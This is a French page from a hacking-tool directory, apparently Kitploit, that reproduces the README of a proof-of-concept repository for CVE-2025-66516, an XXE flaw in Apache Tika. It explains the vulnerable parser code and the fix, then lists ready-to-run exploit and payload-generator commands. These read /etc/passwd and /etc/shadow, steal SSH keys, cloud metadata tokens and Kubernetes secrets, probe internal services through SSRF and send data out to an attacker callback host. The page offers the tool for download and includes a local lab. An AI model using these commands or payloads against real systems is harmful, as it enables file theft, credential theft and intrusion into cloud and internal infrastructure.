Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 exploit fonctionnel, scanner, explication. | Kitploit
Outils/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
ReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesTests d'IntrusionApprentissage et ÉducationLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 exploit fonctionnel, scanner, explication.

Voir le dépôt
1024il y a 9 moisPas encore vérifié
Partager

CVE-2025-66516 : Vulnérabilité XXE Critique dans Apache Tika

image

Résumé Exécutif

CVE-2025-66516 est une vulnérabilité critique d'injection d'entités externes XML (XXE) dans Apache Tika avec un score CVSS de 10.0 (sévérité maximale). La vulnérabilité permet à un attaquant distant de lire des fichiers arbitraires, d'effectuer une falsification de requête côté serveur (SSRF) et d'exfiltrer des données sensibles en téléchargeant un document PDF spécialement conçu contenant du contenu XFA (XML Forms Architecture) malveillant.

AttributValeur
ID CVECVE-2025-66516
Score CVSS10.0 (Critique)
Divulgué4 décembre 2025
FournisseurApache Software Foundation
Produit affectéApache Tika
Vecteur d'attaqueRéseau (à distance)
AuthentificationAucune requise

Versions Affectées

ComposantVersions vulnérablesVersion corrigée
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

Important : Ce CVE remplace CVE-2025-54988, qui identifiait incorrectement uniquement le module PDF comme vulnérable. La vulnérabilité réelle réside dans tika-core.


Analyse Technique

La Vulnérabilité

La vulnérabilité est un défaut d'injection d'entités externes XML (XXE) dans la façon dont Apache Tika traite les données XFA (XML Forms Architecture) dans les documents PDF.

Le problème : Tika s'appuie sur les analyseurs XML Java sous-jacents (notamment un analyseur StAX) pour lire le contenu XFA XML. Les versions vulnérables n'ont pas correctement configuré l'analyseur pour désactiver la résolution d'entités externes. Lorsque l'analyseur rencontre une demande d'entité externe (comme SYSTEM "file:///etc/passwd"), il résout et renvoie le contenu du fichier.

Emplacement : Le bug existe dans XMLReaderUtils.getXMLInputFactory() dans tika-core :

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Inefficace
    return factory;
}

Le IGNORING_STAX_ENTITY_RESOLVER était destiné à bloquer les XXE en renvoyant un résultat vide, mais il renvoyait un String au lieu du InputStream attendu. L'analyseur StAX par défaut du JDK a silencieusement ignoré ce type de retour incorrect et est revenu au comportement par défaut, qui résout les entités externes.

Le Correctif (Tika 3.2.2)

Le correctif désactive explicitement le support DTD et des entités externes au niveau de la fabrique :

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

De plus, le résolveur a été modifié pour renvoyer un type InputStream approprié.

La Protection Fortuite de Woodstox

Dans l'écosystème Java, plusieurs bibliothèques d'analyseurs XML existent. Les applications utilisent l'analyseur configuré ou trouvé en premier sur le classpath.

Qu'est-ce que Woodstox ? Woodstox est un analyseur XML Stax haute performance et open source, couramment inclus dans les applications Java.

Comment il fournit la protection : Par conception (pas par accident), l'implémentation de Woodstox gère correctement le type de retour du XMLResolver. Lorsque Woodstox reçoit la valeur de chaîne de IGNORING_STAX_ENTITY_RESOLVER, il la traite comme un contenu vide valide, bloquant ainsi l'XXE.

Distinction critique :

  • tika-server-standard.jar inclut Woodstox - NON VULNÉRABLE
  • tika-core + modules d'analyseur (utilisation intégrée) N'inclut PAS Woodstox - VULNÉRABLE
  • Applications utilisant l'analyseur StAX par défaut du JDK - VULNÉRABLE

Démarrage Rapide

Tester la Vulnérabilité

# 1. Démarrer l'environnement de laboratoire
docker-compose up -d --build

# 2. Tester contre Tika vulnérable (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extraire /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Comparer avec Tika protégé (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

Environnement de Laboratoire

Structure du Répertoire

CVE-2025-66516/
|-- docker-compose.yml              # Orchestration du laboratoire
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika avec Woodstox (protégé)
|   +-- Dockerfile.jdk-stax         # Tika sans Woodstox (VULNÉRABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Application de téléversement Flask
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Outil d'exploitation automatisé
|   +-- generate_payload.py         # Générateur de PDF malveillants
+-- README.md

Services

ServicePortDescription
Application Web8080Interface de téléversement de documents
Tika (Woodstox)9998Protégé - PAS vulnérable
Tika (JDK StAX)9997VULNÉRABLE - Pas de Woodstox
Écouteur Attaquant9999Serveur HTTP pour test OOB

Démarrer le Laboratoire

docker-compose up -d --build

Outils de Preuve de Concept

1. Outil d'Exploitation Automatisé (exploit.py)

Exploitation complète avec génération automatique de charge utile et extraction de données.

# Vérifier si la cible est vulnérable
python poc/exploit.py --url http://target:9998 --check

# Lire des fichiers locaux
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Vol de métadonnées AWS (instances EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Secrets Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF vers services internes
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Sauvegarder les données extraites
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Générateur de Charge Utile (generate_payload.py)

Génère des fichiers PDF malveillants pour des tests manuels ou l'intégration avec d'autres outils.

# Générer une charge utile pour un fichier spécifique
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Générer une charge utile SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Générer une charge utile d'exfiltration OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Utiliser des préréglages de mode d'attaque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Lister les modes d'attaque disponibles
python poc/generate_payload.py --list-modes

Modes d'Attaque Disponibles :

  • file_read - Lire les fichiers locaux (/etc/passwd, /etc/shadow, etc.)
  • ssh_keys - Voler les clés privées SSH
  • aws_metadata - Métadonnées AWS EC2 et identifiants IAM
  • gcp_metadata - Jetons de compte de service GCP
  • azure_metadata - Jetons d'identité managée Azure
  • k8s_secrets - Identifiants de compte de service Kubernetes
  • webapp_configs - Configurations d'application web courantes
  • ssrf_internal - Sonder les services internes

Résultats des Tests

Configuration Vulnérable (JDK StAX - Pas de Woodstox)

Télécharger l’outil